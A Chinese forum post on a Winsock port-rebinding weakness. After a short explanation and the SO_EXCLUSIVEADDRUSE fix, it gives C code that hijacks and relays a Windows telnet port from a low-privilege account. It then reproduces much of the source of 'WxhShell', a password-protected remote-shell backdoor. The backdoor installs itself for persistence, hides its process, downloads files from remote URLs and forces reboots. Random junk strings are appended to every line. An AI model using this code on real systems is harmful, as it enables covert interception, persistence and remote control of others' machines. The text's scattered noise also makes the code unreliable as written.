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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: nM=2"`@$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [1e.i  
]Kof sU_{  
  saddr.sin_family = AF_INET; p1C_`f N,  
Q:kwQg:~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g^qz&;R]  
.iN-4"_j1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vs* >onCf  
*13g <#$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 u4@, *tT  
\MF3CK@/  
  这意味着什么?意味着可以进行如下的攻击: gh.w Li$+  
w 7Cne%J8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 SlR7h$r'  
*Rz!i m|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) d~w}NK[(  
C3]\$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 N`J:^,H  
!Jk(&.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )Uc$t${en  
8}Fw%;Cb  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 IvY,9D  
_3s~!2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Iq^~  
JHnk%h0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 cdd P T  
5cPSv?x^F@  
  #include =1%zI%  
  #include Xw&QrTDS`  
  #include Z&AHM &,yj  
  #include    Np|:dP9#}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6-)7:9y  
  int main() =x|##7  
  { Bl>_&A)  
  WORD wVersionRequested; ho?|j"/7  
  DWORD ret; yBpW#1=  
  WSADATA wsaData; $q4XcIX 7  
  BOOL val; sURUQ  H  
  SOCKADDR_IN saddr; c#]'#+aH  
  SOCKADDR_IN scaddr; j<`I\Pmv  
  int err; ls8olLM>  
  SOCKET s; e[d7UV[Knn  
  SOCKET sc; ;u4@iN}p  
  int caddsize; )^*9oqQ  
  HANDLE mt; ?$>u!V<'  
  DWORD tid;   .=.yZ  
  wVersionRequested = MAKEWORD( 2, 2 ); {hkM*:U  
  err = WSAStartup( wVersionRequested, &wsaData ); s!8J.hD'I  
  if ( err != 0 ) { W}#QKZ)MB  
  printf("error!WSAStartup failed!\n"); Co{MIuL  
  return -1; Xq=!"E  
  } z&>9 s)^-  
  saddr.sin_family = AF_INET; B:R7[G;1  
   '6Pu[^x  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =:t@;y  
+G3nn!g l4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Pn'QOVy  
  saddr.sin_port = htons(23); l8hvq(,{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .FfwY 'V  
  { w 7=D6`  
  printf("error!socket failed!\n"); y9l#;<b  
  return -1;  [%gK^Zt  
  } 3{N p 9y.  
  val = TRUE; rf1wS*uU+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (%ri#r  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) r'mnkg2,  
  { ,d9%Ce.$2  
  printf("error!setsockopt failed!\n"); 1C5kS[!  
  return -1; qaCi)f!Dl  
  } rR),~ @]sL  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ZNL;8sI?>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >#"jfjDuR  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 e')&ODQ H  
nN_94 ZqS<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !Vp,YN+yN  
  { ^C,/T2>  
  ret=GetLastError(); D7gX,e  
  printf("error!bind failed!\n"); c Eh0Vh-]  
  return -1; _D7HQ  
  } H3UX{|[  
  listen(s,2); L.I}-n  
  while(1) 34++Rr [G  
  { g%fJyk'  
  caddsize = sizeof(scaddr); B $ y44  
  //接受连接请求 q N[\J7Pz9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5'{qEZs^QU  
  if(sc!=INVALID_SOCKET) :*F3  
  { Pp JE|[]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V,|Bzcz  
  if(mt==NULL) \>aa8LOe  
  { 5CRc]Q #@  
  printf("Thread Creat Failed!\n"); &2<&X( )  
  break; HwV gT"  
  } WacU@L $A  
  } O3<Y_I^  
  CloseHandle(mt); eaYkYuS/  
  } ^J#*n;OQ3A  
  closesocket(s); #(26t _a  
  WSACleanup(); ?hry=I(7r  
  return 0; C>k;MvqO  
  }   tLoD"/z  
  DWORD WINAPI ClientThread(LPVOID lpParam) XEgx#F ;F  
  { Im' :sJ31  
  SOCKET ss = (SOCKET)lpParam; *$4A|EA V  
  SOCKET sc; k_En_\c?p2  
  unsigned char buf[4096]; >H=Q$gI  
  SOCKADDR_IN saddr; `DWi4y7  
  long num; 5 vu_D^Q  
  DWORD val; vxzf[  
  DWORD ret; d <|lLNS  
  //如果是隐藏端口应用的话,可以在此处加一些判断 cc2oFn  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   fn?6%q,!ls  
  saddr.sin_family = AF_INET; CwEWW\Bu  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w ;s ]n  
  saddr.sin_port = htons(23); |Ad6~E+aL-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gv Rc:5B[  
  { :>er^\  
  printf("error!socket failed!\n"); \0^rJ1*  
  return -1; t7*H8  
  } ?V\9,BTb)  
  val = 100; KHc/x8^9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "[".3V  
  { Cr V2 V)|G  
  ret = GetLastError(); ~\@<8@N2a6  
  return -1; \{+nXn  
  } ^*?B)D=,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) esC\R4he  
  { n|4D#Bd1w  
  ret = GetLastError(); BhE~k?$9  
  return -1; #1qVFU  
  } D?*sdm9r`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ` HE:D2b  
  { b0z{"  
  printf("error!socket connect failed!\n"); $jm>tW&;  
  closesocket(sc); u{{xnyl?  
  closesocket(ss); =Zb"T5E  
  return -1; $E9daUt8"J  
  } jFPE>F7-M  
  while(1) }JpslY*aS  
  { Edn$0D68u_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 hOrk^iYN=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 + k(3+b$S-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ) R a/  
  num = recv(ss,buf,4096,0); ~a8G 5M  
  if(num>0) 5S-o 2a  
  send(sc,buf,num,0); Pguyf2/w  
  else if(num==0) ixJ20A7  
  break; |>/&EElD  
  num = recv(sc,buf,4096,0); /Y\E68_Fh  
  if(num>0) s ?Qb{  
  send(ss,buf,num,0); c[d'1=Qiy  
  else if(num==0) sWZtbW;)  
  break; nGJIjo_I  
  } :86luLFm  
  closesocket(ss); ZTPOD.:#  
  closesocket(sc); M-qxD"VtV=  
  return 0 ; :'=~/GR  
  } Dxa)7dA|  
vA7jZw  
Z\gg<Q  
========================================================== \,cKt_{ u  
j@?[vi  
下边附上一个代码,,WXhSHELL GT\s!D;<  
o|*|  
========================================================== m9<[bEO<$  
7s fuju(  
#include "stdafx.h" 9bcyPN  
cmGj0YUQ1  
#include <stdio.h> ga1gd~a  
#include <string.h> %_@5_S  
#include <windows.h> DneSzqO"o  
#include <winsock2.h> SeJFZ0p  
#include <winsvc.h> k4AE`[UE  
#include <urlmon.h> [TfV2j* e  
KutgW#+40  
#pragma comment (lib, "Ws2_32.lib") : $52Ds!i  
#pragma comment (lib, "urlmon.lib") A7,$y!D  
>~wk  
#define MAX_USER   100 // 最大客户端连接数 3f2Hjk7,d  
#define BUF_SOCK   200 // sock buffer Z"%O&O  
#define KEY_BUFF   255 // 输入 buffer ; R|#ae@  
Nj@?}`C 4  
#define REBOOT     0   // 重启 $8T|r+<  
#define SHUTDOWN   1   // 关机 r dG2| Tp  
1q233QSW)  
#define DEF_PORT   5000 // 监听端口 =&*QT&e  
qL;T&h  
#define REG_LEN     16   // 注册表键长度 QB|fFj58u  
#define SVC_LEN     80   // NT服务名长度 .lF\bA|  
gjN!_^ _  
// 从dll定义API O\8|niW|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F?,&y)ri  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !%\To(r[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rs<&x(=Hv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \gzwsT2&  
ONe!'a0  
// wxhshell配置信息 `0G.Y  
struct WSCFG { d|?(c~  
  int ws_port;         // 监听端口 >8fz ?A  
  char ws_passstr[REG_LEN]; // 口令 tDLk ZCP  
  int ws_autoins;       // 安装标记, 1=yes 0=no Qx,$)|_  
  char ws_regname[REG_LEN]; // 注册表键名 *=0r>]  
  char ws_svcname[REG_LEN]; // 服务名 eP)YJe 3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ut5!2t$c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6ewOZ,"j"4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v0MOX>`s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %FI6\ |`M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1 l*(8!_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6p6Tse]  
P$qkb|D,  
}; F)iG D~  
 nIDsCu=A  
// default Wxhshell configuration _NqT8C4C  
struct WSCFG wscfg={DEF_PORT, *_K-T#  
    "xuhuanlingzhe", GuY5 % wr  
    1, 68GGS`&  
    "Wxhshell", dUtIAh-j  
    "Wxhshell", "oXAIfU#T  
            "WxhShell Service", XQY&4tK  
    "Wrsky Windows CmdShell Service", @] "9EW 0  
    "Please Input Your Password: ", ]j$p_s>  
  1, "PScM9)\  
  "http://www.wrsky.com/wxhshell.exe", F*].  
  "Wxhshell.exe" jhbH6=f4]^  
    }; {2clOUi  
dQ|Ht[ s=  
// 消息定义模块 @N_H]6z4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; od's1'c R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HN~4-6[q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Aag)c~D  
char *msg_ws_ext="\n\rExit."; v*fc5"3eO  
char *msg_ws_end="\n\rQuit."; ~_j%nJ &2  
char *msg_ws_boot="\n\rReboot..."; 59Q Q_#>  
char *msg_ws_poff="\n\rShutdown..."; zUtf&Ih  
char *msg_ws_down="\n\rSave to "; o3=S<|V  
t\bxd`,  
char *msg_ws_err="\n\rErr!"; NEou2y+}  
char *msg_ws_ok="\n\rOK!"; qVe6RpS  
4NR5?s  
char ExeFile[MAX_PATH]; Lz{T8yvZ  
int nUser = 0; 2&K|~~  
HANDLE handles[MAX_USER]; Wk6&TrWlY  
int OsIsNt; 7Z~szD  
:h^UC~[h 3  
SERVICE_STATUS       serviceStatus; '*;eFnmvs:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |{IU<o x  
u2O^3r G-  
// 函数声明 AG\ 852`1m  
int Install(void); }ZVv  
int Uninstall(void); PyxN_agf  
int DownloadFile(char *sURL, SOCKET wsh); $5CY<,f  
int Boot(int flag); a&aIkD  
void HideProc(void); wvaIgy%z  
int GetOsVer(void); ?!j/wV_H  
int Wxhshell(SOCKET wsl); ];~[Olc  
void TalkWithClient(void *cs); (0m$W<  
int CmdShell(SOCKET sock); 2LH;d`H[0  
int StartFromService(void); 8PjhvU  
int StartWxhshell(LPSTR lpCmdLine); UuC"-$:  
2OlC7X{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {!Z_&i5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "<$vU_  
t}+c/ C%b=  
// 数据结构和表定义 !,!tNs1 K  
SERVICE_TABLE_ENTRY DispatchTable[] = M &EJFpc*  
{ HF[%/Tu  
{wscfg.ws_svcname, NTServiceMain}, >P"/ nS"nn  
{NULL, NULL} x2c*k$<p  
}; Xt*%"7yTp  
f/i,Zw  
// 自我安装 f> [;|r@K  
int Install(void) JP@m%Yj  
{ X&oy.Roo  
  char svExeFile[MAX_PATH]; -vfu0XI~  
  HKEY key; mf[79:90^  
  strcpy(svExeFile,ExeFile); o? "@9O?  
WvzvGT=  
// 如果是win9x系统,修改注册表设为自启动 5d{Ggg{s  
if(!OsIsNt) { pcTXTy 28  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @wJa33QT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #|h8u`  
  RegCloseKey(key); 8B+^vF   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _H<OfAO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J$*["y`+  
  RegCloseKey(key); }eFUw  
  return 0; ?o5#Ve$-X  
    } @@mW+16  
  } \#7%%>p=O'  
} Riuv@i^6K  
else { TFNU+  
y/VmjsN}  
// 如果是NT以上系统,安装为系统服务 7$P(1D4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M|=$~@9#X  
if (schSCManager!=0) Nh/ArugP5P  
{ .T w F] v  
  SC_HANDLE schService = CreateService vbh#[,lh  
  ( n7.lF  
  schSCManager, NfN6KDd]2L  
  wscfg.ws_svcname, <%uZwk>#  
  wscfg.ws_svcdisp, rWKLxK4oU  
  SERVICE_ALL_ACCESS, \1 D,Kx;Cb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `9{C/qB  
  SERVICE_AUTO_START, sc>)X{eb  
  SERVICE_ERROR_NORMAL, I19F\ L`4  
  svExeFile, 2czL 1Ci  
  NULL, usf(U>  
  NULL, -vAG5x/,  
  NULL, ([o:_5/8I  
  NULL, ]=<@G.[=  
  NULL vg1s5Y qk  
  ); ,?~,"IQyi[  
  if (schService!=0) pR>QIZq<gT  
  { irj}:f;!eF  
  CloseServiceHandle(schService); |ema-pRC  
  CloseServiceHandle(schSCManager); , )3+hnFY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2dW-WHaM  
  strcat(svExeFile,wscfg.ws_svcname); G)|HFcE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jF85bb$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tzJtd  
  RegCloseKey(key); =H?5fT^  
  return 0; _tJURk%  
    } qqre d>K  
  } ~2ei+#d!^  
  CloseServiceHandle(schSCManager); dh`A(B{hfc  
} A~SSu.L@  
} Mn;CG'FA  
c4W"CD;D  
return 1; 90D.G_45  
} X]%4QIeS  
}gaKO 5  
// 自我卸载 RM$S|y{L  
int Uninstall(void) u)>*U'bM  
{ I@v.Hqg+7  
  HKEY key; rn*VL(Yd(  
<WkLwP3^  
if(!OsIsNt) { 4yy yXj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MRu+:Y=K  
  RegDeleteValue(key,wscfg.ws_regname); S@-X?Lu  
  RegCloseKey(key); y%Ah"UY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c3-bn #  
  RegDeleteValue(key,wscfg.ws_regname); @cNI|T  
  RegCloseKey(key); #]^`BQ>  
  return 0; ueo3i1  
  } "+Rm4_  
} 9j9?;3;  
} C,.{y`s'  
else { oD`BX  
Yy1Pipv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ||NCVGJG  
if (schSCManager!=0) C.p*mO&N  
{ w=2 X[V}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w` :KexD+  
  if (schService!=0) .1M>KRSr,  
  { ePdzQsnVe  
  if(DeleteService(schService)!=0) { k Er7,c  
  CloseServiceHandle(schService); :D-vE7  
  CloseServiceHandle(schSCManager); u?/]"4  
  return 0; %&GQ]pmcY  
  } {.W%m  
  CloseServiceHandle(schService); N?:S?p9R@  
  } -7Wmq[L /  
  CloseServiceHandle(schSCManager); AP@d2{"m}  
} #}?$mxME*  
} F@3,>~[%I  
oaE3Aa  
return 1; ]P^ +~  
} 6Wp:W1E{`  
=wc[ r?7  
// 从指定url下载文件 Hq8.O/Y"=  
int DownloadFile(char *sURL, SOCKET wsh) G9Ezm*I;:  
{ 2YQ$hL~  
  HRESULT hr; $ E6uA}s  
char seps[]= "/"; H& +s&F{%  
char *token; \ 02e zG  
char *file; euK!JZ  
char myURL[MAX_PATH]; .quc i(D  
char myFILE[MAX_PATH]; cd#TKmh7re  
-`o:W?V$u  
strcpy(myURL,sURL); X_2I4Jz]6  
  token=strtok(myURL,seps); ['<rfK  
  while(token!=NULL) 7#QH4$@1P  
  { "m5ZZG#R`  
    file=token; v-qS 'N 4  
  token=strtok(NULL,seps); dRmTE  
  } yKJp37R  
 _>l,%n  
GetCurrentDirectory(MAX_PATH,myFILE); A 78{b^0*  
strcat(myFILE, "\\"); zvWQ&?&o2  
strcat(myFILE, file); 38^_(N  
  send(wsh,myFILE,strlen(myFILE),0); SQK6BEjE8  
send(wsh,"...",3,0); llJ)u!=5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0Jrk(k!  
  if(hr==S_OK) wAYc)u#  
return 0; hJ :+*46  
else !j@ 8:j0WY  
return 1; q\<vCKI-^  
oY: "nE  
} ;MD{p1w  
3 -FNd~%  
// 系统电源模块 `)fGw7J {  
int Boot(int flag) |v&&%>A2  
{ )Ec;krb+  
  HANDLE hToken; ~ln,Cm} 4  
  TOKEN_PRIVILEGES tkp; ebchHnOd  
,58[WZG  
  if(OsIsNt) { 3z<t#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tuSgh!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `,O^=HBM  
    tkp.PrivilegeCount = 1; xM,3F jF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s zg1.&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rO~D{)Nu  
if(flag==REBOOT) { t30V_`eQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ADDpm-]  
  return 0; -rfO"D>  
} V !$m{)Y  
else { i%iU_`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ho/5e*X  
  return 0; ,MJZ*"V/3  
} bH&H\ Mx_k  
  } 6SwHl_2%  
  else { zob-z=='  
if(flag==REBOOT) { w_ m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (g\'Zw5bk  
  return 0; 0IK']C  
} +?p ;,Z%5  
else { ZO~N|s6B^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {*m?t 7  
  return 0; K+Qg=vGY  
} 1<F/boF~  
} =Ev } v  
(|-/S0AV  
return 1; q$K~BgFzpZ  
} | v+b?@  
>jcNo3S  
// win9x进程隐藏模块 wJ}8y4O!N  
void HideProc(void) @S}'_g  
{ S=Zjdbd  
O_033&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V2*b f`/V  
  if ( hKernel != NULL ) bm^ou#]|  
  { C>HU G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >9DgsA`'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AjpQb ~\  
    FreeLibrary(hKernel); 1g@kHq  
  } lUrchLoDt  
lL?;?V~  
return; #q-t!C%E  
} [|3 %~s|Sv  
qxq ~9\My  
// 获取操作系统版本 Y#G '[N>  
int GetOsVer(void) Vj_ $%0  
{ Uhf -}Jdw  
  OSVERSIONINFO winfo; c{[d@jt O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pq@ad\8  
  GetVersionEx(&winfo); opBv x>S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Gr_I/+<  
  return 1; Wrlmo'31  
  else 3wK)vW  
  return 0; i9\Pks#l%  
} e2;"> tp6?  
(\G~S 4  
// 客户端句柄模块 CyE.q^Wm  
int Wxhshell(SOCKET wsl) =(o$1v/k  
{ (C!fIRY  
  SOCKET wsh; kAqk~.  
  struct sockaddr_in client; K3jno+U&  
  DWORD myID; =I?p(MqW  
tqHXzmsjW  
  while(nUser<MAX_USER) Qr/?tMALc  
{ `VHm,g2  
  int nSize=sizeof(client); dsh}-'>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ukN#>e+L1  
  if(wsh==INVALID_SOCKET) return 1; 6Cibc .vt  
}MoCUN)I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cu Nwv(P  
if(handles[nUser]==0) k&Sg`'LG8  
  closesocket(wsh); 'h:4 Fzo<  
else _PuMZjGL  
  nUser++; 2 `#|;x^<  
  } %j=7e@   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _onHe"%{  
ALFw[1X  
  return 0; <#c2Hg%jh  
} 0^;{b^!(  
fUa`Y ryQ  
// 关闭 socket XVY^m}pMe  
void CloseIt(SOCKET wsh) 8gZ5D  
{  W?.Y%wc0  
closesocket(wsh); }JI5,d  
nUser--; LnBkd:>}  
ExitThread(0); 4kx#=MLt  
} 1j}o. 0\  
Bq'hk<ns[  
// 客户端请求句柄 1[!Idl?m  
void TalkWithClient(void *cs) HzW ZQ6o  
{ \PL92HV  
0ya_[\  
  SOCKET wsh=(SOCKET)cs; 2-8<uUy  
  char pwd[SVC_LEN]; &We'omq  
  char cmd[KEY_BUFF]; J?%Z7&/M>  
char chr[1]; w=OT^d 9n  
int i,j; xe 6x!  
k%hif8y  
  while (nUser < MAX_USER) { py)V7*CgH  
 pxP7yJL`  
if(wscfg.ws_passstr) { ] $5rh8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @%RDw*L(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X2s=~)`#c  
  //ZeroMemory(pwd,KEY_BUFF); KBXdr52"  
      i=0; vq x;FAqZ  
  while(i<SVC_LEN) { Qg3 -%i/@  
<n0-zCf  
  // 设置超时 w2 CgEJ %  
  fd_set FdRead; bvAO(`  
  struct timeval TimeOut; @T1-0!TM')  
  FD_ZERO(&FdRead); MYLq2g\  
  FD_SET(wsh,&FdRead); 4/HyO\?z5  
  TimeOut.tv_sec=8; X^"95Ic  
  TimeOut.tv_usec=0; eGZId v1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n}a# b%e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (xq25;|Y  
YckexfL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d!,V"*S  
  pwd=chr[0]; l'c|I &Y]  
  if(chr[0]==0xd || chr[0]==0xa) { SdN|-'qf  
  pwd=0; x_#yH3kJ  
  break; |rsu+0Mtz  
  } ='>k|s:  
  i++; +i{&"o4}  
    } }Vg &9HY  
cJL>,Z<|%  
  // 如果是非法用户,关闭 socket @aI`ru+a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \\BblzGMR  
} sA:0b5_a  
o:m:9dn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }(ot IqE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >a Q; 8  
TqCzpf&&h/  
while(1) { CI ~+(+q  
c}$?k@=  
  ZeroMemory(cmd,KEY_BUFF); z;1yZ4[G  
=U2`]50  
      // 自动支持客户端 telnet标准   RKRk,jRL  
  j=0; }[? X%=  
  while(j<KEY_BUFF) {  gryC#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jR*1%.Ng  
  cmd[j]=chr[0]; v;irk<5  
  if(chr[0]==0xa || chr[0]==0xd) { P 3);R>j  
  cmd[j]=0; km.xy_v  
  break; v"\Q/5p  
  } y1FS?hSD0  
  j++; e~jp< 4  
    } F~z4T/TN%G  
9^>nZ6  
  // 下载文件 `nn;E% n  
  if(strstr(cmd,"http://")) { BIS5u4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q>f1V3  
  if(DownloadFile(cmd,wsh)) Q;Xb-\\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q=Q5s?sQc  
  else N(6|TE2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =[3I#s?V  
  } |Kh#\d  
  else { Ez+.tbEA,  
sYgpK92  
    switch(cmd[0]) { D<C ZhYJ  
  /mF%uI>:  
  // 帮助 <LH(>  
  case '?': { !/sXG\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g/J ^ YT!  
    break; Q(>89*b&  
  } XF'K dz>p  
  // 安装 _L<IxOZh+  
  case 'i': { FNtcI7  
    if(Install()) 44]/rP_m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9^x'x@6  
    else &qF   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q3'\Vj,S&  
    break; FlgK:=Fmj  
    }  UcKpid  
  // 卸载 I~gU3(  
  case 'r': { 7J.alV4`/  
    if(Uninstall()) !*'uPw:l2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sc`W'q^X  
    else Si.3Je[q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d>VerZZU  
    break; rq:R6e  
    } /2tgxm$}  
  // 显示 wxhshell 所在路径 ;gP@d`s  
  case 'p': { XN'x`%!*3#  
    char svExeFile[MAX_PATH]; 9YwK1[G6/  
    strcpy(svExeFile,"\n\r"); -[^aWNqyJ  
      strcat(svExeFile,ExeFile); #0zMPh /U}  
        send(wsh,svExeFile,strlen(svExeFile),0); ej4xW~_  
    break; 3 T+#d-\  
    } /:~mRf^  
  // 重启 _r^Cu.[7  
  case 'b': { y?zNxk/p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZEiW\ V  
    if(Boot(REBOOT)) S8TJnv`?'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]9pK^<  
    else { ]SA]{id+  
    closesocket(wsh); ]*'V#;s  
    ExitThread(0); 0L9z[2sj  
    } hWP$U  
    break; k}(C.`.  
    } 6av]L YK  
